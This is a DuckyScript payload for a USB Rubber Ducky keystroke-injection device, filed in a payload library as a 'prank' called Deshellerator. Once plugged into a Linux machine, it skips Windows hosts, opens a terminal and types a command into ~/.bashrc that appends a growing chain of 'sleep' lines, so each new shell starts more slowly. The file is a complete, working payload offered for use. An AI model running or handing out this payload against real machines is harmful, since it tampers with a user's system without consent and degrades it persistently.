usbrubberducky-payloads/payloads/library/prank/Deshellerator/payload.txt

69 lines
1.8 KiB
Plaintext

REM TITLE: Deshellerator
REM AUTHOR: Korben, Darren
REM VERSION: 1.0
REM DESCRIPTION: "Slow down there buckaroo" - Shell Decelerator
REM Every time a shell is opened (that sources ~/.bashrc), opening the next
REM shell will get ever so slightly slower...
REM TARGETS: Linux - tested on ubuntu
REM REQUIREMENTS: DuckyScript 3, PayloadStudio >1.3
DEFINE #TARGET_FILE ~/.bashrc
DEFINE #DECELERATION_RATE 0.5
REM Delay used for waiting for GUI elements to spawn/react
REM Increase to make more compatible with all systems
DEFINE #UI_DELAY 250
LED_OFF
EXTENSION PASSIVE_WINDOWS_DETECT
REM VERSION 1.0
REM Windows fully passive OS Detection and passive Detect Ready
REM Includes its own passive detect ready. Does not require
REM additional extensions
REM USAGE:
REM Extension runs inline (here)
REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic
REM boot delay
REM $_OS will be set to WINDOWS or NOT_WINDOWS
REM CONFIGURATION:
DEFINE MAX_WAIT 150
DEFINE CHECK_INTERVAL 20
DEFINE WINDOWS_HOST_REQUEST_COUNT 2
DEFINE NOT_WINDOWS 7
VAR $MAX_TRIES = MAX_WAIT
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
DELAY CHECK_INTERVAL
$MAX_TRIES = ($MAX_TRIES - 1)
END_WHILE
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN
$_OS = WINDOWS
ELSE
$_OS = NOT_WINDOWS
END_IF
REM EXAMPLE USAGE AFTER EXTENSION
REM IF ($_OS == WINDOWS) THEN
REM STRING HELLO WINDOWS!
REM ELSE
REM STRING HELLO WORLD!
REM END_IF
END_EXTENSION
REM Inapplicable target guard clause
IF ($_OS == WINDOWS) THEN
ATTACKMODE OFF
LED_R
STOP_PAYLOAD
END_IF
CTRL ALT t
DELAY #UI_DELAY
STRINGLN echo "echo 'sleep #DECELERATION_RATE'>>#TARGET_FILE">>#TARGET_FILE;exit
LED_G